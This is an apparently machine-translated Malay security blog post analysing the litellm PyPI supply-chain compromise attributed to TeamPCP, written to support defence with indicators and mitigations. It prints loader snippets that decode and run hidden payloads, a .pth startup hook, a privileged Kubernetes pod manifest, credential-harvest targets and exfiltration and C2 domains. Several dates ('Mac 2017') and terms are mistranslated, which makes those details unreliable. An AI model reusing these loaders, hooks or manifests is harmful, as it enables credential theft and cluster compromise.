Serangan Rantaian Bekalan LiteLLM

Serangan Rantaian Bekalan LiteLLM: Bagaimana TeamPCP Menyimpan Infrastruktur AI di Pintu Belakang

Why This Matters

Pada 24 Mac 2026, pakej Python yang popular litellm, gerbang proksi LLM universal yang digunakan oleh beribu-ribu enterprises untuk menghalakan trafik antara aplikasi dan penyedia AI seperti OpenAI, Anthropic, Google dan AWS Bedrock, telah dikompromikan secara senyap pada PyPI. Dua versi yang diracun (1.82.7 dan 1.82.8) telah diterbitkan dalam masa 13 minit antara satu sama lain, membawa muatan berbilang peringkat yang mencuri kelayakan, menyahsusut rahsia awan, tersebar secara lateral merentasi kluster Kubernetes dan memasang pintu belakang berterusan dengan keupayaan pelaksanaan kod jauh.

Dengan kira-kira 3.6 juta muat turun setiap hari dan penggunaan mendalam merentasi infrastruktur AI natif awan, litellm berada di persimpangan semua yang didambakan oleh penyerang moden: kunci API untuk setiap penyedia AI utama, kelayakan IAM awan, rahsia Kubernetes dan kunci SSH.

Tetapi kompromi litellm bukanlah peristiwa terpencil. Ia adalah kemuncak kepada kempen lima hari, lima ekosistem oleh pelaku ancaman yang dikenali sebagai TeamPCP, kempen yang mula-mula meracuni pengimbas keselamatan (Aqua Trivy, Checkmarx KICS), kemudian menggunakan yang dicuri CI/CD kelayakan untuk menyalurkan ke hilir ke npm, OpenVSX dan akhirnya PyPI. Penyerang telah mempersenjatai alatan yang digunakan oleh organisasi untuk melindungi rantaian bekalan mereka.

Serangan ini mewakili perubahan langkah dalam kecanggihan ancaman rantaian bekalan. Reka bentuk berbilang hop, merentas ekosistem, mengkompromikan perkakasan keselamatan untuk mencapai nilai tinggi Infrastruktur AI, mencerminkan tahap perancangan dan kematangan operasi yang selaras dengan penggunaan alat serangan yang semakin dikomoditi. Muatan telah diulang dalam masa nyata (tiga varian muatan muncul dalam kod sumber, termasuk versi terdahulu yang diulas), infrastruktur C2 telah didaftarkan sehari sebelum serangan, dan domain penapisan eksklusi dipilih dengan teliti untuk meniru infrastruktur vendor yang sah. Penuai kelayakan yang komprehensif secara sistematik, meliputi 15+ kategori termasuk sasaran khusus seperti kunci tandatangan Cardano dan konfigurasi WireGuard, mencadangkan tahap ketelitian yang menunjukkan ke arah pembangunan perisian hasad berbantukan AI sebagai pengganda daya.

Timeline

Tarikh (UTC) Acara
Mac 2017 TeamPCP menjejaskan tag Aqua Trivy GitHub Action, menggantikannya dengan kod berniat jahat yang mengekstrak CI/CD rahsia daripada repositori hiliran
Mac 2017 Kompromi meliputi Checkmarx KICS dan AST GitHub Actions menggunakan teknik yang serupa
22 Mac, 06:35 BerriAI menerbitkan litellm 1.82.6 (versi bersih terakhir) melalui biasa CI/CD pipeline yang menggunakan Trivy untuk pengimbasan keselamatan
Mac 2017 TeamPCP mendaftarkan models.litellm.cloud (domain exfiltration). Mengkompromikan 66+ pakej npm dan sambungan OpenVSX
24 Mac, 10:39 litellm 1.82.7 diterbitkan ke PyPI -- muatan disuntik ke dalam proxy_server.py pada skop modul. Dilaksanakan semasa import
24 Mac, 10:52 litellm 1.82.8 diterbitkan 13 minit kemudian -- tambah litellm_init.pth, cangkuk konfigurasi laluan Python yang dilaksanakan pada setiap permulaan penterjemah Python, bukan hanya import litellm. Menunjukkan lelaran muatan pantas
24 Mac, ~16:00 PyPI mengalih keluar kedua-dua versi selepas laporan komuniti. Versi dipadamkan sepenuhnya (tidak ditarik) daripada indeks, walaupun tarball CDN kekal boleh diakses

Tempoh pendedahan: kira-kira 5.5 jam. Dalam tempoh ini, mana-mana pip install litellm, pip install --upgrade litellm, atau CI/CD pipeline menarik versi terkini akan melaksanakan muatan.

Bagaimana Perisian Hasad Masuk: Kompromi Bertingkat

Pakej litellm itu tidak dicerobohi secara langsung. Penyerang mencapainya melalui serangan rantaian bekalan dua hop:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline menggunakan Trivy sebagai pengimbas keselamatan — alat yang direka untuk mengesan kelemahan itu sendiri merupakan vektor serangan. Kerana pipeline Trivy yang dirujuk oleh tag boleh ubah dan bukannya disematkan commit SHA, tindakan yang dikompromikan berjalan secara automatik. Tindakan Trivy yang berniat jahat itu telah menyusup keluar rahsia persekitaran, termasuk PYPI_PUBLISH token, memberikan TeamPCP akses penerbitan langsung kepada projek PyPI litellm.

Strategi “berkompromi dengan pengawal” ini merupakan ciri utama kempen TeamPCP. Dengan menyasarkan alat keselamatan terlebih dahulu (Trivy, Checkmarx KICS), penyerang secara serentak melumpuhkan pengesanan dan memperoleh akses istimewa kepada rantaian bekalan hiliran.

Analisis Teknikal: Muatan

Titik Suntikan

Versi 1.82.7 — Pelaksanaan peringkat modul dalam litellm/proxy/proxy_server.py (baris 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Kod ini berada pada skop modul antara literal kamus dan asal showwarning() fungsi. Ia dilaksanakan serta-merta apabila litellm.proxy.proxy_server diimport — yang berlaku pada sebarang penggunaan fungsi proksi litellm.

Versi 1.82.8 - Ditambah litellm_init.pth (Fail konfigurasi laluan Python):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth gambar dalam site-packages/ diproses pada setiap permulaan penterjemah, tetapi hanya baris yang bermula dengan import dilaksanakan sebagai kod. Penyerang mengeksploitasi ini dengan merantaikan keseluruhan muatan ke dalam satu import penyataan: import os, subprocess, sys; subprocess.Popen(...)Ini jauh lebih agresif daripada suntikan proxy_server.py — ia diaktifkan walaupun litellm tidak pernah diimport, pada setiap pelancaran proses Python. pyproject.toml telah diubah suai untuk memasukkan fail ini dalam pengedaran:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Versi 1.82.8 justeru mempunyai dua laluan pelaksanaan bebas: suntikan proxy_server.py (dilancarkan pada import proksi litellm) dan fail .pth (dilancarkan pada mana-mana permulaan Python). Redundansi itu sendiri ketara — ia melindungi daripada pengesanan atau penyingkiran mana-mana laluan sahaja. Peningkatan daripada pelaksanaan masa import kepada masa permulaan hanya 13 minit selepas 1.82.7 menunjukkan penyerang sedang memantau kejayaan penggunaan dan melakukan iterasi dengan pantas.

Peringkat 1: Penuaian Kelayakan Komprehensif

Skrip dalaman yang dinyahkod adalah vakum kelayakan yang teliti. Ia menggunakan os.walk()glob.glob()subprocess.check_output(), dan bacaan fail langsung untuk menyapu seluruh sistem:

kategori Sasaran
Peninjauan sistem hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; kunci hos daripada /etc/ssh/
Awan (AWS) ~/.aws/credentials, ~/.aws/config; Kelayakan peranan IMDS melalui 169.254.169.254Pengurus Rahsia ListSecretsSSM DescribeParameters
Awan (GCP) ~/.config/gcloud/ (rekursif); $GOOGLE_APPLICATION_CREDENTIALS
Awan (Biru) ~/.azure/ (rekursif); pembolehubah persekitaran
Kubernetes Token akaun perkhidmatan; ca.crt; ruang nama; kubectl get secrets --all-namespaces; semua rahsia melalui API K8s
Fail persekitaran .env, .env.local, .env.production, .env.development, .env.staging — dicari secara rekursif (kedalaman 6) merentasi /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
buruh pelabuhan ~/.docker/config.json, /kaniko/.docker/config.json
Token pakej ~/.npmrc, ~/.vault-token, ~/.netrc
Pangkalan data lain ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, konfigurasi MongoDB
TLS / SSL Kunci peribadi daripada /etc/ssl/private/, Jom Sulitkan sijil, semua .pem/.key/.p12/.pfx fail
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Dompet Crypto Bitcoin, stor kunci Ethereum, pasangan kunci Solana (pengesah, undi, pegangan, keran), kunci tandatangan Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Sejarah Shell .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Pengesahan sistem /etc/passwd, /etc/shadow, log pengesahan (sesi SSH yang diterima)
Kekunci Webhook/API Grep untuk web Slackhooks, Web Discordhooks, kunci/rahsia API dalam fail konfigurasi
VPN Konfigurasi WireGuard daripada /etc/wireguard/

Skop penuai ini adalah ensiklopedia. Ia bukan sahaja menyasarkan kelayakan awan tetapi juga dompet mata wang kripto, kata laluan pangkalan data, konfigurasi VPN dan CI/CD rahsia — mencadangkan penyerang berhasrat untuk menjana wang daripada sistem yang dikompromi merentasi pelbagai vektor.

Peringkat 2: Penyulitan Disulitkan

Data yang dicuri disulitkan dan diekstrak menggunakan skema penyulitan hibrid:

  • AES-256-CBC penyulitan semua data yang dikumpul dengan kunci sesi 32-bait rawak (melalui openssl enc)
  • RSA-4096 penyulitan kunci sesi menggunakan kunci awam terbenam penyerang (padding OAEP, melalui openssl pkeyutl)
  • Kedua-dua fail ciphertext digabungkan sebagai tpcp.tar.gz (Yang tpcp awalan — “TeamPCP” — muncul secara konsisten merentasi kempen)
  • HTTPS POST ke https://models.litellm.cloud/ bersama Content-Type: application/octet-stream

Domain models.litellm.cloud telah didaftarkan pada 23 Mac — sehari sebelum serangan — dan direka bentuk untuk digabungkan dengan infrastruktur litellm yang sah (projek sebenar menggunakan litellm.ai). Malah pemain pertahanan yang menyedari rangkaian yang menyemak trafik keluar mungkin tidak menandakan trafik ke apa yang kelihatan sebagai titik akhir model litellm sendiri.

Peringkat 3: Pintu Belakang Berterusan (sysmon.py)

Muatan memasang pintu belakang tinjauan yang menyamar sebagai telemetri sistem:

  • Jalan~/.config/sysmon/sysmon.py
  • Servissysmon.service (unit pengguna sistem, digambarkan sebagai “Perkhidmatan Telemetri Sistem”)
  • KelakuanSelepas tidur awal selama 300 saat, tinjauan pendapat https://checkmarx.zone/raw setiap ~50 minit
  • Pelaksanaan: Muat turun URL yang dikembalikan oleh C2 ke /tmp/pglog, tetapkannya boleh laku (chmod 755), menjalankannya dalam sesi berasingan
  • Penjejakan keadaan/tmp/.pg_state menghalang muat turun semula muatan yang sama
  • KegigihanRestart=alwaysRestartSec=10 — terselamat daripada ranap sistem dan but semula

Domain checkmarx.zone ialah kesilapan menaip Checkmarx (syarikat keselamatan di checkmarx.com), direka supaya penganalisis SOC yang menyemak log rangkaian dapat melihat trafik ke apa yang kelihatan sebagai vendor keselamatan yang sah. Ini merupakan teknik pengelakan yang disengajakan selaras dengan strategi TeamPCP yang lebih luas untuk bersembunyi di sebalik penjenamaan vendor keselamatan.

Peringkat 3b: Pergerakan Lateral Kubernetes

Jika sistem yang dikompromi mempunyai kelayakan akaun perkhidmatan Kubernetes, perisian hasad akan menyenaraikan semua nod kluster dan menggunakan pod istimewa kepada setiap seorang:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Setiap pod:

  • Berjalan sebagai istimewa bersama hostPIDhostNetwork, dan akses sistem fail hos penuh
  • kegunaan chroot /host untuk memasang yang sama sysmon.py pintu belakang pada sistem fail root hos
  • Mendaftarkannya sebagai perkhidmatan sistem, memastikan kegigihan bertahan daripada pemadaman pod
  • Dinamakan node-setup-* dalam kube-system ruang nama untuk muncul sebagai infrastruktur kluster yang sah

Ini bermakna tunggal dikompromikan CI/CD pelari dengan akses K8 boleh menyebabkan setiap nod dalam kluster di-backdoor — senario pergerakan lateral yang dahsyat untuk organisasi yang menjalankan litellm sebagai proksi dalam Kubernetes.

Evolusi Muatan (Varian yang Diulas)

Kod sumber pada baris 131-132 mengandungi dua varian muatan terdahulu yang diulas, mendedahkan proses pembangunan penyerang:

  • Ketiga-tiga varian berkongsi infrastruktur penyusupan yang sama (models.litellm.cloud), kunci awam RSA-4096, pembalut penyulitan hibrid AES-256-CBC + RSA, dan tpcp.tar.gz penamaan pakej
  • Varian terdahulu menambah satu Lapisan penyulitan RC4 di dalam skrip pengumpulan data, menyulitkan data yang dituai sebelum pembalut AES+RSA luar. Muatan aktif (baris 130) dipermudahkan dengan mengalih keluar lapisan RC4 dalaman ini
  • Varian terdahulu menggunakan exec() bersama StringIO tangkapan untuk menjalankan pengumpul dalam proses, manakala muatan aktif menggunakan subprocess.run() dengan stdout redirect — pemisahan yang lebih bersih yang mengelakkan pencemaran proses hos
  • Ketiga-tiga varian menyasarkan kategori kelayakan dan laluan pengumpulan yang sama
  • Kekunci RC4 dalam varian terdahulu merupakan sindiran yang provokatif, selaras dengan tingkah laku pelakon yang ingin mencari perhatian di Telegram.

Ini mendedahkan perkembangan aktif semasa operasi. Penyerang memudahkan susunan penyulitan dan meningkatkan pengasingan pelaksanaan sambil mengekalkan sasaran pengumpulan dan infrastruktur penyusupan keluar yang stabil.

Petunjuk Kompromi (IOC)

rangkaian

Petunjuk Jenis Tujuan
models.litellm.cloud domain Titik akhir penapisan (HTTPS POST)
checkmarx.zone domain Titik akhir tinjauan C2 (HTTPS GET /raw)

Nota: Pautan pelaporan luaran checkmarx.zone/static/checkmarx-util-1.0.4.tgz kepada fasa KICS kempen TeamPCP yang lebih awal. URL ini tidak ditemui dalam muatan litellm yang dianalisis di sini.

Hash Pakej

File SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Sistem fail

Petunjuk Jenis Tujuan
~/.config/sysmon/sysmon.py File Skrip pintu belakang yang berterusan
~/.config/systemd/user/sysmon.service File Unit kegigihan sistem
/tmp/pglog File Binari peringkat kedua yang dimuat turun
/tmp/.pg_state File Penjejakan keadaan C2
litellm_init.pth in site-packages/ File Cangkuk permulaan Python (v1.82.8 sahaja)
tpcp.tar.gz File Bundel penyusupan eksplisit yang disulitkan

Kubernetes

Petunjuk Jenis Tujuan
node-setup-* pod dalam kube-system Pod Pod pergerakan lateral istimewa
sysmon.service pada nod kluster Servis Kegigihan peringkat hos melalui pod escape

Kriptografi

Petunjuk Butiran
Kunci awam RSA-4096 penyerang Cap jari SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Terbenam dalam ketiga-tiga varian muatan; kunci yang sama dilaporkan merentasi operasi TeamPCP yang lain
tpcp awalan dalam artifak Konvensyen penamaan pakej (tpcp.tar.gz) konsisten merentasi kempen

Atribusi: TeamPCP

Aktor ancaman di sebalik kempen ini dikesan sebagai TeamPCP, juga dikenali sebagai PCPcat, Persy_PCP, ShellForce dan DeadCatx3.

Ciri-ciri yang diketahui:

  • Mengekalkan saluran Telegram di @Persy_PCP dan @teampcp di mana mereka mengejek syarikat keselamatan
  • Beroperasi merentasi pelbagai ekosistem (GitHub Actions, PyPI, npm, OpenVSX)
  • Menggunakan domain typosquat khusus vendor untuk setiap fasa kempen (cth., checkmarx.zone untuk Checkmarx, models.litellm.cloud untuk litellm)
  • Penanda infrastruktur yang konsisten: pasangan kunci RSA yang sama, tpcp.tar.gz konvensyen penamaan, tpcp-docs-* Repositori GitHub digunakan sebagai pementasan dead-drop
  • Menyasarkan alat keselamatan sebagai titik masuk ke rantaian bekalan hiliran

Keyakinan atribusi: Tinggi. Kunci awam RSA yang dikongsi, tpcp Penamaan artifak, pertindihan infrastruktur C2 dan tempo operasi merentasi kempen lima hari sangat menghubungkan kompromi Trivy, KICS, npm, OpenVSX dan litellm dengan pelakon yang sama.

MotivasiKemungkinan kewangan (kecurian dompet kripto, pengewangan kelayakan awan) digabungkan dengan kemasyhuran (ejekan Telegram). Keluasan penuaian kelayakan — daripada pasangan kekunci pengesah Solana IAM AWS kepada konfigurasi WireGuard — menunjukkan pelaku yang bermotivasi dari segi kewangan yang ingin memaksimumkan ROI daripada setiap kompromi.

Bantuan AI yang mungkinPenuai kelayakan adalah komprehensif secara sistematik — 15+ kategori termasuk sasaran khusus seperti kunci tandatangan Cardano, konfigurasi WireGuard dan kelayakan Kaniko Docker — dengan cara yang konsisten dengan penghitungan bantuan AI. Kelajuan lelaran muatan (tiga varian dengan skema penyulitan berbeza), koordinasi rentas ekosistem (5 ekosistem dalam 5 hari) dan OPSEC operasi (domain penyamar vendor, penyulitan hibrid, kegigihan sistem yang menyamar sebagai telemetri) mencadangkan tahap daya pemprosesan yang mungkin mencerminkan pembangunan bantuan AI sebagai pengganda daya. Penilaian ini adalah spekulatif; pengendali mahir boleh mencapai skop yang serupa tanpa perkakasan AI.

TTP dan Teknik Baharu

1. Keracunan Rantaian Bekalan Alat Keselamatan (varian T1195.002)

Mengkompromi pengimbas keselamatan (Trivy, KICS) sebagai langkah pertama untuk mencapai sasaran hiliran merupakan satu peningkatan baharu. Penyerang bukan sahaja menjejaskan perpustakaan — mereka menjejaskan alatan yang digunakan oleh organisasi untuk mengesan perpustakaan yang dikompromi. Ini mewujudkan titik buta: pengimbas yang sepatutnya menangkap kod berniat jahat itu sendiri merupakan mekanisme penyampaian.

2. Python .pth Kegigihan Fail (T1546)

litellm_init.pth teknik dalam v1.82.8 amat berbahaya. Python .pth gambar dalam site-packages/ diproses pada setiap permulaan penterjemah; sebarang baris yang bermula dengan import dilaksanakan sebagai kod. Dengan merantai muatan ke satu import pernyataan, penyerang mencapai pelaksanaan pada setiap proses Python — bukan sahaja apabila litellm diimport. Ini bermakna muatan akan diaktifkan walaupun litellm dipasang tetapi tidak pernah digunakan, dan ia terselamat daripada pemulihan yang menggantikan yang dikompromikan .py fail tanpa menyemak .pth fail.

3. Pergerakan Lateral Seluruh Kluster Kubernetes melalui Pelaksanaan Pod Istimewa (T1610, T1611)

Penciptaan pod istimewa secara automatik pada setiap nod kluster — dengan hostPIDhostNetwork, pemasangan sistem fail hos dan chroot untuk memasang persistence — rantai penggunaan kontena (T1610) dengan escape ke host (T1611) untuk menukar beban kerja yang dikompromikan menjadi kompromi kluster penuh.

4. Infrastruktur C2 yang Menyamar sebagai Vendor

Menggunakan models.litellm.cloud (meniru litellm) dan checkmarx.zone (meniru Checkmarx) kerana titik akhir C2/exfil direka untuk mengelak pemantauan rangkaian. Penganalisis SOC yang menyemak trafik keluar akan melihat sambungan HTTPS ke domain vendor yang kelihatan sah.

5. Pengulangan Muatan Dalam Penerbangan yang Pantas

Menerbitkan v1.82.7 dengan pelaksanaan masa import, kemudian v1.82.8 dengan pelaksanaan masa permulaan 13 minit kemudian, menunjukkan penyerang memantau dan menyesuaikan diri dalam masa nyata. Varian muatan yang diulas (dengan skema penyulitan berbeza) yang dikekalkan dalam kod sumber mengesahkan pembangunan aktif semasa operasi.

Apa Boleh Selesai

Serangan ini mengeksploitasi kepercayaan pada setiap lapisan: kepercayaan pada alat keselamatan, kepercayaan pada pendaftaran pakej, kepercayaan pada domain yang kelihatan biasa, kepercayaan pada CI/CD automasi. Mempertahankan diri daripadanya memerlukan pengerasan setiap sempadan kepercayaan ini:

Untuk Pengguna Pakej

  • Kebergantungan pin mengikut hash, bukan hanya versi. pip install litellm==1.82.6 --hash=sha256:... akan menghalang versi yang dikompromi daripada dipasang walaupun ia muncul sebentar sebagai versi terkini.
  • Gunakan fail kunci. pip-compilepoetry.lock, dan uv.lock menangkap versi dan hash yang tepat. CI/CD harus dipasang daripada fail kunci, bukan daripada penentu versi terapung.
  • Pantau untuk .pth fail. Audit secara berkala site-packages/ untuk tidak dijangka .pth fail — ia dilaksanakan pada setiap permulaan Python dan merupakan mekanisme kegigihan yang kurang dihargai.
  • Laksanakan kawalan rangkaian keluar. Penyusupan keluar ke models.litellm.cloud dan tinjauan C2 kepada checkmarx.zone mungkin telah dikesan oleh penapisan keluar berasaskan senarai dibenarkan dalam persekitaran pengeluaran.

Untuk Penyelenggara Pakej

  • Pin CI/CD tindakan oleh commit SHA, bukan tag. LiteLLM's pipeline menggunakan Trivy tanpa versi yang disematkan. Jika ia telah dirujuk aquasecurity/trivy-action@<commit-sha> bukan @latest, tindakan yang dikompromikan itu tidak akan dilaksanakan.
  • Gunakan token penerbitan berskop yang tahan lama dan terhad. PyPI menyokong token API Penerbit Dipercayai (berasaskan OIDC) dan berskop. PYPI_PUBLISH token tidak sepatutnya mempunyai akses penerbitan yang berpanjangan dan tidak terhad.
  • Dayakan pengesahan dua faktor pada PyPI. Memerlukan 2FA untuk semua penyelenggara dan menggunakan kunci keselamatan perkakasan jika boleh.
  • Pakej tandatangan. Pengesahan Sigstore/PEP 740 membolehkan pengguna mengesahkan bahawa pakej telah dibina mengikut jangkaan CI/CD pipeline, bukan oleh penyerang dengan token yang dicuri.

Untuk Pengendali Platform (PyPI, npm, GitHub)

  • Mengesan corak penerbitan yang anomali. Dua versi baharu yang diterbitkan dengan jarak 13 minit, daripada IP atau token yang berbeza daripada biasa, sepatutnya mencetuskan penangguhan untuk semakan atau pengimbasan automatik sebelum pakej boleh dipasang.
  • Mempercepatkan penggunaan Penerbit Dipercayai. Penerbitan berasaskan OIDC menghubungkan pakej dengan repositori dan aliran kerja tertentu, menjadikan token yang dicuri tidak berguna di luar yang asal CI/CD konteks.
  • Laksanakan pengimbasan perisian hasad masa penerbitan. Muatan yang dinyahkod base64 dalam proxy_server.py akan dapat dikesan melalui analisis statik pada masa penerbitan.

Untuk Ekosistem

  • Anggap alat keselamatan sebagai infrastruktur kritikal. Trivy dan Checkmarx KICS digunakan oleh berjuta-juta pipelines. Tindakan GitHub mereka harus ditandatangani, disematkan dan dipantau dengan ketelitian yang sama seperti pakej yang mereka imbas.
  • Melabur dalam pengesanan masa jalan. Analisis statik sahaja tidak dapat menangkap setiap teknik pengeliruan. Pemantauan masa jalan pemasangan pakej hooks, sambungan rangkaian yang tidak dijangka dan corak akses fail yang mencurigakan memberikan pertahanan yang mendalam.
  • Kongsikan risikan ancaman dengan lebih pantas. Tempoh pendedahan 5.5 jam untuk litellm boleh menjadi lebih pendek dengan penyelarasan silang vendor yang lebih pantas. Perkhidmatan pengimbasan automatik seperti Xygeni MEW, Socket dan Snyk mengesan anomali tersebut — kesesakan tersebut adalah pengesahan manusia dan masa tindak balas pendaftaran.

Kesimpulan

Kempen TeamPCP merupakan detik penting bagi software supply chain securityDengan mengkompromikan pengimbas keselamatan terlebih dahulu dan menggunakannya sebagai batu loncatan kepada infrastruktur AI bernilai tinggi, penyerang menunjukkan bahawa rantaian bekalan hanya sekuat kebergantungan transitifnya yang paling lemah, dan kebergantungan itu mungkin merupakan alat keselamatan yang anda percayai untuk memastikan anda selamat.

Kompromi litellm secara khusus menonjolkan risiko yang semakin meningkat terhadap infrastruktur AI. Memandangkan gerbang proksi LLM menjadi standard corak untuk enterprise Dalam penggunaan AI, mereka menumpukan akses kepada kunci API, kelayakan awan dan data sensitif dalam satu komponen. Mengorbankan komponen tersebut merupakan kunci rangka kepada keseluruhan susunan AI.

Organisasi yang memasang litellm 1.82.7 atau 1.82.8 semasa tempoh 5.5 jam harus menganggap ini sebagai kompromi kelayakan penuh: putar semua rahsia pada sistem yang terjejas, audit kluster Kubernetes untuk node-setup-* pod dalam kube-system, keluarkan mana-mana sysmon.service unit sistem, dan semak untuk litellm_init.pth dalam Python site-packages/ direktori. Pengguna imej Docker rasmi (ghcr.io/berriai/litellm) tidak terjejas, kerana imej tersebut telah menyematkan kebergantungannya dan tidak dibina semula semasa tetingkap pendedahan.

Mengenai Penulis

Pengasas Bersama & CTO

Luis Rodriguez ialah Pengasas Bersama dan Ketua Pegawai Teknologi di Xygeni Security. Dengan pengalaman lebih 20 tahun dalam keselamatan aplikasi, beliau memberi tumpuan kepada perlindungan AppSec dan keupayaan analisis kod lanjutan yang membantu pasukan mengurangkan risiko penghantaran sebenar.

 
alat-analisis-komposisi-perisian-alat-sca
Utamakan, pulihkan dan lindungi risiko perisian anda
Dapatkan Akaun Percuma anda.
Tiada kad kredit yang diperlukan.

Lindungi Pembangunan dan Penghantaran Perisian Anda

dengan Suit Produk Xygeni